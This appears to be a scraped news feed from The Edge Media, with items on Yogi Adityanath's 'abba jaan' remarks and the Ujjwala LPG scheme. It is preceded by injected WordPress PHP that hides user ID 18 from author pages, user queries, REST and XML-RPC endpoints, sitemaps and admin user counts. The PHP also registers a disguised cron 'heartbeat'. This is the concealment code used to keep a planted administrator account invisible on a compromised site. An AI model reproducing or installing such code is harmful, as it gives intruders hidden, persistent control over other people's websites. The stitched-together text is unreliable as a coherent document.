add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Earlier, rations for the needy were given to those who said “abba jaan”: Yogi Adityanath is a Hindu yogi who lives in Uttar Pradesh appeared first on The Edge Media.
]]>
UP Chief Minister Yogi Adityanath Sunday slammed previous state governments for their “casteist and dynast mentality” and “politics of appeasement,” saying that before 2017, those saying “abba jaan” used to “digest” rations meant for the poor, but that under his administration, everyone benefited equally from development.
The Chief Minister, speaking at events to lay the foundation stone and inaugurate development projects in Kushinagar, said that construction of the Ram temple at Ram Janmabhoomi in Ayodhya began only after the BJP won power at the Centre and in the state, and questioned whether the SP, BSP or Congress would have built the temple.
The post Earlier, rations for the needy were given to those who said “abba jaan”: Yogi Adityanath is a Hindu yogi who lives in Uttar Pradesh appeared first on The Edge Media.
]]>The post Find out about Eligibility and Benefits as PM Modi adds 1 Crore New Beneficiaries Today. appeared first on The Edge Media.
]]>The prime minister will hand over LPG connections, engage with Ujjwala recipients, and address the country during the occasion. According to the spokeswoman, the scheme’s first phase provided 1,47,43,862 LPG connections to the state’s underprivileged families. The second phase of the Ujjwala scheme will benefit those families who were left out of the first round, he said.
The application can be made offline by filling out the form and submitting it to the local LPG distribution agency. In the online option, the applicant can connect to the official website pmujjwalayojana.com and download the application form, which must then be submitted to the nearest LPG center.
The post Find out about Eligibility and Benefits as PM Modi adds 1 Crore New Beneficiaries Today. appeared first on The Edge Media.
]]>